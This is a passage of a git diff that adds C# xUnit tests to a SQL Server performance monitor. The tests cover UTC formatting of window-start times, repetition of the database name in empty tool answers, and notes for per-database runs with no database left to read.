+                Assert.Equal(6_000 * twoHours, wideB, 9);
+                Assert.Equal(wideA + wideB, await Wide(Of(A, B)), 9);
+                Assert.Equal(18_000 * twoHours, await Wide(DatabaseFilter.All), 9);
+
+                /* [M4] A list that matches nothing in the rollup is "empty", and the message names the chosen databases. */
+                var emptyJson = await Read(Of("NoSuchDatabase", "NoSuchEither"));
+                Assert.Equal("empty", DarlingMcpTestData.StatusOf(emptyJson));
+                Assert.Contains(DatabaseFilter.ManyDatabasesDescription, JsonDocument.Parse(emptyJson).RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var probe = new NpgsqlCommand(
+                    "SELECT count(*) FROM pg_catalog.pg_stat_activity WHERE datname = pg_catalog.current_database() " +
+                    "AND backend_type LIKE 'TimescaleDB Background Worker Scheduler%'", cleanup);
+                Assert.Equal(0L, Convert.ToInt64(await probe.ExecuteScalarAsync(cleanupCt)));
+            });
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/EffectiveStartUtcTests.cs b/Darling/Darling.Tests/EffectiveStartUtcTests.cs
new file mode 100644
index 0000000000..95240855c8
--- /dev/null
+++ b/Darling/Darling.Tests/EffectiveStartUtcTests.cs
@@ -0,0 +1,241 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4966: <c>effective_start</c> names its instant as UTC, with the trailing Z, on every path of the window-floor
+/// tools, in both apps. The served start is either the start that was asked for (UTC, so a plain "o" printed the Z)
+/// or the floor read off the store (a naive instant, so it printed none), which made the zone marker come and go
+/// with <c>window_truncated</c>. One formatter, <see cref="McpHelpers.FormatEffectiveStart"/>, now serves both.
+/// </summary>
+[Trait("Reads", "Lite")]
+public sealed class EffectiveStartUtcTests
+{
+    /// <summary>A naive instant and a UTC instant print the same text, ending in Z, and the instant is never shifted.</summary>
+    [Fact]
+    public void FormatEffectiveStart_NamesTheInstantAsUtc_WhicheverKindItCameWith()
+    {
+        var instant = new DateTime(2026, 9, 3, 4, 5, 6, 789, DateTimeKind.Unspecified);
+        const string expected = "2026-09-03T04:05:06.7890000Z";
+
+        Assert.Equal(expected, McpHelpers.FormatEffectiveStart(instant));
+        Assert.Equal(expected, McpHelpers.FormatEffectiveStart(DateTime.SpecifyKind(instant, DateTimeKind.Utc)));
+        /* Only the kind is set: a Local-kind value is not shifted to UTC, so a naive floor is never mistaken for local time. */
+        Assert.Equal(expected, McpHelpers.FormatEffectiveStart(DateTime.SpecifyKind(instant, DateTimeKind.Local)));
+    }
+
+    /// <summary>
+    /// Every <c>effective_start</c> the window-floor tools write goes through the shared formatter: none is a bare
+    /// <c>ToString("o")</c> of a value that is the store's naive floor on one path and the requested UTC start on
+    /// another. The null write (a forced-raw read over a window raw no longer holds) is the one exception.
+    /// </summary>
+    [Theory]
+    [InlineData("DarlingMcpConfigHistoryTools.cs", 3)]
+    [InlineData("DarlingMcpDataTools.cs", 7)]
+    [InlineData("DarlingMcpLatchSpinlockTools.cs", 2)]
+    [InlineData("DarlingMcpQueryStoreClutterTools.cs", 1)]
+    [InlineData("DarlingMcpSessionTools.cs", 2)]
+    [InlineData("DarlingMcpMemoryGrantTools.cs", 1)]
+    [InlineData("DarlingMcpPlanCorrectionTools.cs", 1)]
+    [InlineData("DarlingMcpPgStatementTools.cs", 1)]
+    [InlineData("DarlingMcpPgDatabaseTools.cs", 2)]
+    [InlineData("DarlingMcpPgIoTools.cs", 1)]
+    [InlineData("DarlingMcpPgPlanTools.cs", 1)]
+    [InlineData("DarlingMcpPgCpuUtilizationTools.cs", 1)]
+    [InlineData("DarlingMcpPgBlockingTools.cs", 2)]
+    [InlineData("DarlingMcpPgSessionStatesTools.cs", 2)]
+    [InlineData("DarlingMcpPgReplicationStatsTools.cs", 1)]
+    [InlineData("DarlingMcpPgXminTools.cs", 1)]
+    [InlineData("DarlingMcpPgDeadlockTools.cs", 1)]
+    [InlineData("DarlingMcpPgLogEventTools.cs", 1)]
+    [InlineData("DarlingMcpQueryHeatmapTools.cs", 1)]
+    [InlineData("DarlingMcpQueryStoreRegressionTools.cs", 1)]
+    [InlineData("DarlingMcpQueryStoreHistoryTools.cs", 1)]
+    [InlineData("DarlingMcpPgWaitTools.cs", 1)]
+    [InlineData("DarlingMcpPgWaitSamplingTools.cs", 1)]
+    [InlineData("DarlingMcpPgKernelStatsTools.cs", 1)]
+    [InlineData("DarlingMcpPgPredicateTools.cs", 1)]
+    [InlineData("DarlingMcpPgServerStateTools.cs", 3)]
+    [InlineData("DarlingMcpHealthParserTools.cs", 9)]
+    [InlineData("DarlingMcpDefaultTraceTools.cs", 1)]
+    [InlineData("DarlingMcpPgIndexUsageTools.cs", 1)]
+    public void EveryWindowFloorWrite_RoutesThroughTheSharedFormatter(string file, int minimumRouted)
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", file);
+        var writes = source
+            .Split('\n')
+            .Select(line => line.Trim())
+            .Where(line => line.StartsWith("effective_start = ", StringComparison.Ordinal))
+            .ToList();
+
+        /* #4966: a tool that writes the shared notice (DarlingMcpWindowNotice) writes the value the helper formatted, and the
+           helper's own formatting is pinned below. */
+        bool IsRouted(string line) =>
+            line.StartsWith("effective_start = McpHelpers.FormatEffectiveStart(", StringComparison.Ordinal)
+            || line == "effective_start = notice.EffectiveStart,"
+            || line == "effective_start = notice?.EffectiveStart,";
+        var routed = writes.Count(IsRouted);
+        var others = writes.Where(line => !IsRouted(line)).ToList();
+
+        Assert.True(routed >= minimumRouted, $"{file} writes effective_start through McpHelpers.FormatEffectiveStart {routed} time(s); expected at least {minimumRouted}.");
+        Assert.All(others, line => Assert.Equal("effective_start = (string?)null,", line));
+    }
+
+    /// <summary>
+    /// #4966: the shared notice formats its <c>effective_start</c> through <see cref="McpHelpers.FormatEffectiveStart"/>, so every
+    /// tool that writes <c>notice.EffectiveStart</c> prints UTC with the Z.
+    /// </summary>
+    [Fact]
+    public void TheSharedNotice_FormatsItsEffectiveStart_ThroughTheSharedFormatter()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpWindowNotice.cs");
+        Assert.Contains("McpHelpers.FormatEffectiveStart(RawWindowFloor.EffectiveStart(floor, requestedStart))", source, StringComparison.Ordinal);
+        Assert.DoesNotContain(".ToString(\"o\"", source, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #4966: the five Lite event-list tools write <c>effective_start</c> from the shared notice
+    /// (<c>McpQueryTools.EventWindowNoticeAsync</c> -> <c>WindowNotice</c>, which prints through
+    /// <see cref="McpHelpers.FormatEffectiveStart(DateTime)"/>), never from a bare <c>ToString("o")</c> of the store's naive floor.
+    /// Each data answer writes the key once, from <c>notice.EffectiveStart</c>, and its empty answer carries the same notice under hints.
+    /// </summary>
+    [Theory]
+    [InlineData("McpBlockingTools.cs", 4)]
+    [InlineData("McpLongQueryTools.cs", 1)]
+    public void EveryLiteEventListWindowFloorWrite_ComesFromTheSharedNotice(string file, int expectedTools)
+    {
+        var source = RepoFile.ReadRepoFile("Lite", "Mcp", file);
+        var writes = source
+            .Split('\n')
+            .Select(line => line.Trim())
+            .Where(line => line.StartsWith("effective_start = ", StringComparison.Ordinal))
+            .ToList();
+
+        Assert.Equal(expectedTools, writes.Count);
+        Assert.All(writes, line => Assert.Equal("effective_start = notice.EffectiveStart,", line));
+        /* Two calls per tool: the data answer's, and the empty answer's. */
+        Assert.Equal(expectedTools * 2, Regex.Matches(source, @"EventWindowNoticeAsync\(\s*\(\) => dataService\.GetQueryWindowFloorAsync").Count);
+        /* The empty answer carries the notice under hints in one of two shapes: inline (`...emptyAnswer: true)).AsHints()`), or, where the
+           answer first reads the notice to decide its own wording (#5244 L3: get_long_query_completions points at the opt-in switch only
+           when the floor probe is null), built into `emptyNotice` and handed to the status as `emptyNotice.AsHints()`. The second shape
+           must still be a notice built with emptyAnswer: true, so a hand-built floor cannot pass it. */
+        var inlineHints = Regex.Matches(source, @"emptyAnswer: true\)\)\.AsHints\(\)").Count;
+        var namedHints = Regex.Matches(source, @"emptyAnswer: true\);(?:(?!EventWindowNoticeAsync)[\s\S])*?\bemptyNotice\.AsHints\(\)").Count;
+        Assert.Equal(expectedTools, inlineHints + namedHints);
+    }
+
+    /// <summary>
+    /// #4966: the six Lite config and log tools (three config-change tools, the one-server <c>get_collection_log</c>,
+    /// <c>get_plan_corrections</c> and <c>get_memory_pressure_events</c>) write <c>effective_start</c> from the shared notice
+    /// (<c>McpQueryTools.WindowNoticeAsync</c> -> <c>WindowNotice</c>, which prints through
+    /// <see cref="McpHelpers.FormatEffectiveStart(DateTime)"/>), never from a bare <c>ToString("o")</c> of the store's naive floor.
+    /// Each data answer writes the key once, from <c>notice.EffectiveStart</c>; <paramref name="expectedHints"/> counts the
+    /// <c>empty</c> answers that carry the same notice under hints (<c>get_collection_log</c> has two: the filtered one and the quiet window).
+    /// None of them uses the event-time form: their probes read the column the rows are stamped on.
+    /// <para>#4966 adds the three Lite aggregate tools to the same pin: <c>get_default_trace_events</c> (one write, one hints),
+    /// <c>get_wait_stats</c> (a second write beside <c>get_waiting_tasks</c>'s, and no new hints: its no-rows answer is <c>unavailable</c> and stays bare) and
+    /// <c>get_blocking_stats</c> in McpHealthTools.cs (one write for its two series, one hints on its empty answer).</para>
+    /// </summary>
+    [Theory]
+    [InlineData("McpConfigHistoryTools.cs", 3, 3)]
+    [InlineData("McpHealthTools.cs", 2, 3)]
+    [InlineData("McpPlanCorrectionTools.cs", 1, 1)]
+    [InlineData("McpMemoryTools.cs", 1, 1)]
+    [InlineData("McpDefaultTraceTools.cs", 1, 1)]
+    [InlineData("McpWaitTools.cs", 2, 0)]
+    public void EveryLiteConfigAndLogWindowFloorWrite_ComesFromTheSharedNotice(string file, int expectedWrites, int expectedHints)
+    {
+        var source = RepoFile.ReadRepoFile("Lite", "Mcp", file);
+        var writes = source
+            .Split('\n')
+            .Select(line => line.Trim())
+            .Where(line => line.StartsWith("effective_start = ", StringComparison.Ordinal))
+            .ToList();
+
+        Assert.Equal(expectedWrites, writes.Count);
+        Assert.All(writes, line => Assert.Equal("effective_start = notice.EffectiveStart,", line));
+        /* #4966: an empty answer reads its notice first (to choose quiet or cut wording), then passes it as hints. */
+        Assert.Equal(expectedHints, Regex.Matches(source, @"emptyAnswer: true\)\)\.AsHints\(\)|emptyNotice\.AsHints\(\)").Count);
+        Assert.DoesNotContain("EventWindowNoticeAsync", source, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #4966: the nine Lite <c>get_health_parser_*</c> tools write <c>effective_start</c> from the shared notice
+    /// (<c>McpQueryTools.WindowNoticeAsync</c> -> <c>WindowNotice</c>, which prints through
+    /// <see cref="McpHelpers.FormatEffectiveStart(DateTime)"/>), never from a bare <c>ToString("o")</c> of the store's naive floor.
+    /// Each data answer writes the key once, from <c>notice.EffectiveStart</c>. The <c>empty</c> answers are built in one place,
+    /// the empty ladder's three <c>empty</c> rungs, which each pass the same notice under hints; the <c>unavailable</c> rung passes none.
+    /// The event-time form is not used: the probe reads <c>event_time</c>, the column the reads window on.
+    /// </summary>
+    [Fact]
+    public void EveryLiteHealthParserWindowFloorWrite_ComesFromTheSharedNotice()
+    {
+        var source = RepoFile.ReadRepoFile("Lite", "Mcp", "McpHealthParserTools.cs");
+        var writes = source
+            .Split('\n')
+            .Select(line => line.Trim())
+            .Where(line => line.StartsWith("effective_start = ", StringComparison.Ordinal))
+            .ToList();
+
+        Assert.Equal(9, writes.Count);
+        Assert.All(writes, line => Assert.Equal("effective_start = notice.EffectiveStart,", line));
+        /* #4966: two rungs read their notice first (to choose quiet or cut wording); the third passes it straight. */
+        Assert.Equal(3, Regex.Matches(source, @"emptyAnswer: true\)\)\.AsHints\(\)|hints: notice\.AsHints\(\)").Count);
+        /* A call, not the doc comment that explains why there is none. */
+        Assert.DoesNotContain("EventWindowNoticeAsync(", source, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #4966, #5015: where a page's rows stop and start (<c>oldest_returned_*</c> and <c>newest_returned_*</c>: collection,
+    /// event, deadlock and alert time) describe the window the page covers, so every tool that carries them prints them the
+    /// same way as <c>effective_start</c>: UTC, with the Z, through the shared formatter, in both apps. The sweep reads
+    /// every tool file of both apps, so a field added later is judged too: none of them can keep a bare
+    /// <c>ToString("o")</c> of the store's naive instant. The one exception is the PostgreSQL log events' pair, which
+    /// reads a <c>DateTime</c> the reader already marks UTC (<c>OccurredAtUtc</c>, which serializes with the Z). Row times
+    /// keep the store's form.
+    /// </summary>
+    [Fact]
+    public void EveryReturnedBoundWrite_OfBothApps_RoutesThroughTheSharedFormatter()
+    {
+        var found = 0;
+        var unrouted = new List<string>();
+        foreach (var directory in new[] { new[] { "Lite", "Mcp" }, new[] { "Darling", "PerformanceMonitor.Darling.Service", "Mcp" } })
+        {
+            foreach (var file in Directory.EnumerateFiles(RepoFile.PathTo(directory), "*.cs").Order(StringComparer.Ordinal))
+            {
+                foreach (var line in File.ReadAllLines(file).Select(l => l.Trim()))
+                {
+                    if (!Regex.IsMatch(line, @"^(oldest|newest)_returned_\w+ = "))
+                    {
+                        continue;
+                    }
+
+                    found++;
+                    var routed = line.Contains("McpHelpers.FormatEffectiveStart(", StringComparison.Ordinal);
+                    var alreadyUtcByType = Regex.IsMatch(line, @"^(oldest|newest)_returned_at = rows\[(\^1|0)\]\.OccurredAtUtc,$");
+                    if (!routed && !alreadyUtcByType)
+                    {
+                        unrouted.Add($"{Path.GetFileName(file)}: {line}");
+                    }
+                }
+            }
+        }
+
+        Assert.True(found >= 46, $"the sweep found {found} oldest/newest_returned_* writes; it should find every one in both apps (46 today).");
+        Assert.True(unrouted.Count == 0, "These oldest_returned_* / newest_returned_* writes print the store's naive instant, without the Z:\n" + string.Join("\n", unrouted));
+    }
+}
diff --git a/Darling/Darling.Tests/EmptyAnswerDatabaseEchoTests.cs b/Darling/Darling.Tests/EmptyAnswerDatabaseEchoTests.cs
new file mode 100644
index 0000000000..69f93d8cd9
--- /dev/null
+++ b/Darling/Darling.Tests/EmptyAnswerDatabaseEchoTests.cs
@@ -0,0 +1,97 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5244 PR4 review L2 and L3: the empty answers of the tools that take <c>database_name</c> echo it the way their answers
+/// with rows do (the name for one database, "the chosen databases" for two or more, null for all), and a long-query answer
+/// that a filter emptied no longer sends the reader to the opt-in switch. The behaviour of the shared helper is run; the
+/// tools' empty paths need a store, so their wiring is pinned from source, and Lite's twin tests run the same paths for real.
+/// </summary>
+public sealed class EmptyAnswerDatabaseEchoTests
+{
+    private static string Tool(string file) =>
+        RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", file);
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("DbA")]
+    [InlineData("the chosen databases")]
+    public void StatusForDatabase_WritesTheEchoBesideStatusAndMessage_NullIncluded(string? echo)
+    {
+        var root = JsonDocument.Parse(McpHelpers.StatusForDatabase("empty", "nothing here", echo)).RootElement;
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        Assert.Equal("nothing here", root.GetProperty("message").GetString());
+        Assert.Equal(echo, root.GetProperty("database_name").ValueKind == JsonValueKind.Null ? null : root.GetProperty("database_name").GetString());
+        Assert.False(root.TryGetProperty("hints", out _), "no hints argument, no hints key");
+    }
+
+    [Fact]
+    public void StatusForDatabase_KeepsTheHints_AfterTheEcho()
+    {
+        var json = McpHelpers.StatusForDatabase("empty", "m", "DbA", new { effective_start = "2026-01-01" });
+
+        Assert.Contains("\"database_name\":\"DbA\",\"hints\":{", json, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// L2, trends: <c>EmptyStatus</c> takes the filter and writes the echo, and every call passes it: a call that left it off
+    /// would not compile, so the count of calls is the count of answers.
+    /// </summary>
+    [Fact]
+    public void TrendEmptyStatus_WritesTheEcho_AndEveryCallPassesTheFilter()
+    {
+        var source = Tool("DarlingMcpTrendTools.cs");
+
+        Assert.Contains("string message, TrendDisclosure disclosure, DatabaseFilter databases)", source, StringComparison.Ordinal);
+        var body = source[source.IndexOf("private static string EmptyStatus(", StringComparison.Ordinal)..];
+        body = body[..body.IndexOf("disclosure.WriteTo(envelope);", StringComparison.Ordinal)];
+        Assert.Contains("[\"database_name\"] = databases.Describe()", body, StringComparison.Ordinal);
+
+        var calls = Regex.Matches(source, @"EmptyStatus\(\s*""(empty|unavailable)""", RegexOptions.Singleline).Count;
+        var withFilter = Regex.Matches(source, @"disclosure, databases\);", RegexOptions.Singleline).Count;
+        Assert.True(calls >= 8, $"expected the trend tools' eight empty answers, found {calls}");
+        Assert.Equal(calls, withFilter);
+    }
+
+    /// <summary>L2, the other tools: no empty answer of theirs is built without the echo.</summary>
+    [Theory]
+    [InlineData("DarlingMcpLongQueryTools.cs", 1)]
+    [InlineData("DarlingMcpPlanCorrectionTools.cs", 1)]
+    [InlineData("DarlingMcpQueryStoreClutterTools.cs", 2)]
+    public void EmptyAnswers_GoThroughStatusForDatabase(string file, int expected)
+    {
+        var source = Tool(file);
+
+        Assert.Equal(expected, Regex.Matches(source, @"McpHelpers\.StatusForDatabase\(\s*""(empty|unavailable)""", RegexOptions.Singleline).Count);
+        Assert.DoesNotMatch(@"McpHelpers\.Status\(\s*""(empty|unavailable)""", source);
+    }
+
+    /// <summary>
+    /// L3: the long-query empty answer names the opt-in switch only when no filter is chosen. Under a filter it ends after the
+    /// database clause, as get_plan_corrections does.
+    /// </summary>
+    [Fact]
+    public void LongQueryEmpty_BlamesTheOptInSwitch_OnlyWhenNoFilterIsChosen()
+    {
+        var source = Tool("DarlingMcpLongQueryTools.cs");
+
+        /* Round 2: the sentence follows the (unfiltered) window-notice probe, so a filtered answer keeps it only when the store holds no row. */
+        Assert.Contains("var collectorMayBeOff = databaseFilter.IsAll || (!emptyNotice.IsUnavailable && emptyNotice.EffectiveStart is null);", source, StringComparison.Ordinal);
+        Assert.Contains("(collectorMayBeOff ? \". The long_query_completions collector is opt-in (default OFF)", source, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/EmptyDatabaseListNoteLiveTests.cs b/Darling/Darling.Tests/EmptyDatabaseListNoteLiveTests.cs
new file mode 100644
index 0000000000..d1ceb988d6
--- /dev/null
+++ b/Darling/Darling.Tests/EmptyDatabaseListNoteLiveTests.cs
@@ -0,0 +1,187 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Data.Common;
+using System.Globalization;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Drives the host's REAL per-database loop with a database list that has nothing left to read. The run returns
+/// no rows, does not fail, and carries the note that says why: every user database monitored as its own server,
+/// or every database excluded. An empty list opens no per-database connection, so the only hook is the list.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class EmptyDatabaseListNoteLiveTests
+{
+    private const int LiveServerId = -490061;
+
+    [Theory]
+    [InlineData(true)]
+    [InlineData(false)]
+    public async Task APerDatabaseRunWithNoDatabaseToRead_ReturnsItsNote_AndNoRows(bool everyDatabaseSeparatelyMonitored)
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live empty database list test.");
+
+        var ct = TestContext.Current.CancellationToken;
+
+        /* #1776 own-store: the run reads and writes only under a distinctive fake server id, and the cleanup removes
+           whatever the run saved for it. */
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+        var runner = new DarlingCollectorRunner(
+            postgres,
+            new CollectorDeltaCalculator(),
+            separatelyMonitoredDatabases: _ => everyDatabaseSeparatelyMonitored ? new[] { "alpha", "zeta" } : Array.Empty<string>());
+
+        var bodySucceeded = false;
+        try
+        {
+            /* Separately monitored: the server lists both databases and the long-query read leaves both out.
+               Excluded: the server's exclusions took every database out of the list before the read saw it. */
+            runner.AzureDatabaseListOverrideForTests = (_, _) => Task.FromResult(
+                everyDatabaseSeparatelyMonitored ? new List<string> { "alpha", "zeta" } : new List<string>());
+
+            var server = new ServerRuntime
+            {
+                Config = new MonitoredServer
+                {
+                    Name = "t",
+                    Host = "h",
+                    ExcludedDatabases = everyDatabaseSeparatelyMonitored ? new List<string>() : new List<string> { "alpha", "zeta" },
+                },
+                ConnectionString = "Server=azure;Database=master",
+                Target = new CollectorTargetInfo { IsAzureSqlDb = true, Engine = CollectorTargetEngine.SqlServer },
+                StorageName = "h",
+                ServerId = LiveServerId,
+            };
+
+            var result = await runner.RunAsync(LongQueryCompletionsCollector.Instance, server, ct);
+
+            Assert.Equal(0, result.Rows);
+            Assert.Equal(
+                everyDatabaseSeparatelyMonitored ? EmptyDatabaseListNote.EverySeparatelyMonitored : EmptyDatabaseListNote.EveryExcluded,
+                result.Note);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// A real logical server lists master beside its user databases, and the long-query trace never keeps a session in
+    /// master, so the read leaves it out. A list of master plus user databases that are all monitored separately has
+    /// nothing left to read and says so; master alone says why only when the exclusions took the user databases (#4961).
+    /// The first run above lists user databases only. Here a provider refuses every connection, so a read that
+    /// reaches any database, master included, fails the run by name instead of reading nothing.
+    /// </summary>
+    [Theory]
+    [InlineData("master,alpha,zeta", "", "alpha,zeta", EmptyDatabaseListNote.EverySeparatelyMonitored)]
+    [InlineData("master", "alpha,zeta", "", EmptyDatabaseListNote.EveryExcluded)]
+    [InlineData("master", "", "", null)]
+    public async Task APerDatabaseRunWhoseListHoldsMaster_ReturnsItsNote_AndReadsNoDatabase(
+        string listed, string excluded, string separatelyMonitored, string? expectedNote)
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live empty database list test.");
+
+        var ct = TestContext.Current.CancellationToken;
+
+        /* #1776 own-store: the run reads and writes only under a distinctive fake server id, and the cleanup removes
+           whatever the run saved for it. */
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteAsync(connection, ct);
+
+        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+        var runner = new DarlingCollectorRunner(
+            postgres,
+            new CollectorDeltaCalculator(),
+            separatelyMonitoredDatabases: _ => Names(separatelyMonitored));
+
+        var bodySucceeded = false;
+        try
+        {
+            runner.TargetProviderOverrideForTests = _ => new RefusingTargetProvider();
+            runner.AzureDatabaseListOverrideForTests = (_, _) => Task.FromResult(new List<string>(Names(listed)));
+
+            var server = new ServerRuntime
+            {
+                Config = new MonitoredServer { Name = "t", Host = "h", ExcludedDatabases = new List<string>(Names(excluded)) },
+                ConnectionString = "Server=azure;Database=master",
+                Target = new CollectorTargetInfo { IsAzureSqlDb = true, Engine = CollectorTargetEngine.SqlServer },
+                StorageName = "h",
+                ServerId = LiveServerId,
+            };
+
+            var result = await runner.RunAsync(LongQueryCompletionsCollector.Instance, server, ct);
+
+            Assert.Equal(0, result.Rows);
+            Assert.Equal(expectedNote, result.Note);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static string[] Names(string commaSeparated) =>
+        commaSeparated.Split(',', StringSplitOptions.RemoveEmptyEntries);
+
+    /// <summary>A target provider that refuses to open any connection, naming the database the run asked for.</summary>
+    private sealed class RefusingTargetProvider : ITargetProvider
+    {
+        public CollectorTargetEngine Engine => CollectorTargetEngine.SqlServer;
+
+        public DbConnection CreateConnection(string connectionString) =>
+            throw new InvalidOperationException("the long-query read opened a connection to " + connectionString);
+
+        public DbCommand CreateCommand(CollectorQuery query, DbConnection connection, int commandTimeoutSeconds) =>
+            throw new NotSupportedException();
+
+        public CollectorTargetFault Classify(Exception exception, bool yieldsOnLockTimeout) => CollectorTargetFault.Unclassified;
+
+        public string WithDatabase(string connectionString, string databaseName) => "database " + databaseName;
+
+        public (string ConnectionString, CollectorQuery Query) BuildDatabaseListPlan(
+            string connectionString, IReadOnlyList<string>? excludedDatabases, IReadOnlyList<string>? databaseScope) =>
+            throw new NotSupportedException();
+    }
+
+    private static async Task DeleteAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        var id = LiveServerId.ToString(CultureInfo.InvariantCulture);
+        using var command = new NpgsqlCommand($"DELETE FROM collect.collector_state WHERE server_id = {id}", connection);
+        command.CommandTimeout = 30;
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/EmptyDatabaseListNoteTests.cs b/Darling/Darling.Tests/EmptyDatabaseListNoteTests.cs
new file mode 100644
index 0000000000..03000aa3b2
--- /dev/null
+++ b/Darling/Darling.Tests/EmptyDatabaseListNoteTests.cs
@@ -0,0 +1,106 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A per-database run whose database list comes back empty records SUCCESS with 0 rows. Without a note that reads
+/// as "nothing ran". Two things empty the list: every user database on a logical server is monitored as its own
+/// server (the long-query read leaves those to their own registrations), or every database is excluded. The run
+/// keeps SUCCESS and carries a note that says why nothing was read (#4961). The note itself is pinned for real
+/// here and in <see cref="EmptyDatabaseListNoteLiveTests"/>; the wiring is pinned at the source, the way the
+/// per-database read of the long-query trace already is.
+/// </summary>
+public sealed class EmptyDatabaseListNoteTests
+{
+    [Fact]
+    public void TheNotes_AreFixedText_InProductWords()
+    {
+        Assert.Equal("no database read: every user database is monitored as its own server", EmptyDatabaseListNote.EverySeparatelyMonitored);
+        Assert.Equal("no database read: every database is excluded", EmptyDatabaseListNote.EveryExcluded);
+    }
+
+    [Theory]
+    [InlineData(EmptyDatabaseListNote.EverySeparatelyMonitored)]
+    [InlineData(EmptyDatabaseListNote.EveryExcluded)]
+    public void AServerWhoseEveryRunCarriesTheNote_ReadsItWithItsRunCount_AndNoQualifier(string note)
+    {
+        /* index_object_stats is a collector the health bands expect to find user databases for, so the missing
+           qualifier comes from the note, not from the collector being left out of that list. */
+        Assert.True(CollectorHealthClassifier.ExpectsUserDatabases("index_object_stats"));
+        Assert.DoesNotContain(CollectorHealthClassifier.EmptyEnumerationMarker, note, StringComparison.Ordinal);
+        Assert.False(CollectorHealthClassifier.HasMeasurements(note));
+
+        var formatted = CollectorHealthClassifier.FormatCollectionNote(
+            note, noteCount: 96, totalRuns: 96, collectorName: "index_object_stats", targetHasUserDatabases: true);
+
+        Assert.Equal(note + " (all 96 runs)", formatted);
+        Assert.DoesNotContain(CollectorHealthClassifier.HasUserDatabasesQualifier, formatted, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(0, 0, false, false, false, null)]
+    [InlineData(0, 0, false, true, false, EmptyDatabaseListNote.EveryExcluded)]
+    [InlineData(0, 0, true, true, false, EmptyDatabaseListNote.EveryExcluded)]
+    [InlineData(0, 0, false, true, true, null)]
+    [InlineData(2, 0, true, false, false, EmptyDatabaseListNote.EverySeparatelyMonitored)]
+    [InlineData(2, 0, true, true, true, EmptyDatabaseListNote.EverySeparatelyMonitored)]
+    [InlineData(2, 1, true, false, false, null)]
+    [InlineData(2, 2, false, true, false, null)]
+    public void TheNote_NamesTheReasonTheListEmptied_AndNothingItCannotName(
+        int listed, int read, bool skipsSeparatelyMonitored, bool exclusionsConfigured, bool databaseScoped, string? expected)
+    {
+        Assert.Equal(expected, EmptyDatabaseListNote.For(listed, read, skipsSeparatelyMonitored, exclusionsConfigured, databaseScoped));
+    }
+
+    [Fact]
+    public void TheRunner_TakesTheNoteFromTheSharedRule_AndCarriesNoTextOfItsOwn()
+    {
